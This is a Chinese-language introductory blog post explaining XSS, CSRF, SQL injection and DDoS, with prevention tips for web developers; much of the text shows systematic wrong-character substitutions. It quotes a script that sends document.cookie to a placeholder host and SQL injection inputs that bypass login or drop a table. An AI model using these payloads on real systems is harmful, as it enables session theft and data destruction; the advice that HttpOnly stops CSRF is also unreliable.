关于安全:常见WEB攻击与防御

62次阅读

共计 2131 个字符,预计需要花费 6 分钟才能阅读完成。

作为一个 web 开发者,web 平安是须要理解的,web 攻打是针对用户上网行为或网站服务器等设施进行攻打的行为,如植入恶意代码,批改网站权限,获取网站用户隐衷信息等等。从互联网诞生起,网络安全威逼就始终随同着网站的倒退,各种 web 攻打和信息泄露也从未进行。本文介绍常见 web 攻击方式及预防措施。

  • XSS(跨站脚本攻打)
  • CSRF(跨站申请伪造)
  • SQL 注入
  • DDOS

XSS

跨站脚本攻打指攻击者在网页中嵌入歹意脚本,当用户关上网页时,歹意脚本开始执行,盗取用户 cookie,用户名明码等信息

比方在一个公布内容零碎中,攻击者在内容中嵌入相似的代码<script>window.open('www.xxx.com?param=' + document.cookie)</script>,当用户拜访这个页面的时候,就会执行恶意代码,该用户的 cookie 就会被发送到攻击者的服务器。

预防措施:

  • 将重要的 cookies 标记为 http only,这样 JavaScript 中的 document.cookie 语句就不能获取到 cookie 了;
  • 只容许用户输出咱们冀望的数据,如年龄的 textbox 中只容许输出数字,其余过滤;
  • 对数据进行 Html Encode 解决,如 < 转化为 &lt;、& 转化为 &amp;
  • 过滤或移除非凡的 Html 标签,如:script、iframe;
  • 过滤 JavaScript 事件的标签,如“onclick=”、“onfocus”等。

CSRF

跨站申请伪造指通过盗用用户信息以用户的名义向第三方网站发动歹意申请,盗取账号,转账,发送信息,删除数据等

用户登录信赖站点 A -> 未退出拜访歹意站点 B -> 从站点 B 发动拜访站点 A 的歹意申请

预防措施:

  • Cookie 设置 HttpOnly,JS 就无奈读取到 cookie 中的信息,防止攻击者伪造 cookie 的状况呈现。
  • 不应用 cookie 验证,改 token 形式验证
  • 通过 referer 辨认,验证页面是否是信赖站点

SQL 注入

SQL 注入攻打是指把 SQL 语句伪装成失常的 http 申请,坑骗服务器执行歹意的 SQL 语句,达到入侵目标。

  • 'or'1'='1。这是最常见的 sql 注入攻打,当咱们输出用户名 jiajun,而后明码输出 'or'1'='1 的时候,咱们在查问用户名和明码是否正确的时候,原本要执行的是select * from user where username=''and password='', 通过参数拼接后,会执行 sql 语句 select * from user where username='jaijun' and password='' or' 1'='1 ',这个时候 1 = 1 是成立,天然就跳过验证了。
  • 然而如果再重大一点,明码输出的是';drop table user;--,那么 sql 命令为select * from user where username='jiajun'and password='';drop table user;--' 这个时候咱们就间接把这个表给删除了

预防措施:

  • 对进入数据库的特殊字符('"\ 尖括号 &*; 等)进行本义解决,或编码转换。
  • 在利用公布之前倡议应用业余的 SQL 注入检测工具进行检测,以及时修补被发现的 SQL 注入破绽。网上有很多这方面的开源工具,例如 sqlmap、SQLninja 等
  • 防止网站打印出 SQL 错误信息,比方类型谬误、字段不匹配等,把代码里的 SQL 语句裸露进去,以避免攻击者利用这些错误信息进行 SQL 注入。

DDOS

分布式服务攻打,借助公共网络,将数量宏大的计算器设施(肉鸡)联结起来,对一个或多个指标动员攻打,从而达到瘫痪指标主机的目标。

  • SYN Flood , 简略说一下 tcp 三次握手,客户端先服务器发出请求,申请建设连贯,而后服务器返回一个报文,表明申请以被承受,而后客户端也会返回一个报文,最初建设连贯。那么如果有这么一种状况,攻击者伪造 ip 地址,收回报文给服务器申请连贯,这个时候服务器接管到了,依据 tcp 三次握手的规定,服务器也要回应一个报文,可是这个 ip 是伪造的,报文回应给谁呢,第二次握手呈现谬误,第三次天然也就不能顺利进行了,这个时候服务器收不到第三次握手时客户端收回的报文,又再反复第二次握手的操作。如果攻击者伪造了大量的 ip 地址并发出请求,这个时候服务器将保护一个十分大的半连贯期待列表,占用了大量的资源,最初服务器瘫痪
  • CC 攻打,在应用层 http 协定上发动攻打,模仿失常用户发送大量申请直到该网站拒绝服务为止。
  • DNS query flood 攻击者伪造大量有效域名,发送给指标服务器解析,这些域名均为有效域名,导致 DNS 服务器耗用大量资源去解决这些有效域名,造成 DNS 解析域名超时,达到攻打目标。

预防措施:

  • 减少带宽,然而带宽十分低廉
  • 异样流量的荡涤过滤
  • 过滤不必要的服务和端口
  • 高防智能 DNS 解析
  • 部署 CDN

总结

以上只是列举了常见的 web 攻击方式,都是比拟常见的 web 平安话题,以及一些防备计划理论开发过程中还会遇到很多平安问题,对于这些问题,咱们都不可漠视,服务器上任何一个利用的破绽都有可能是黑客攻陷服务器的突破口。除上述常见的几种形式,还有很多 web 平安话题,有趣味的同学能够持续钻研。

专一前端开发,分享前端相干技术干货,公众号:南城大前端(ID: nanchengfe)

正文完
 0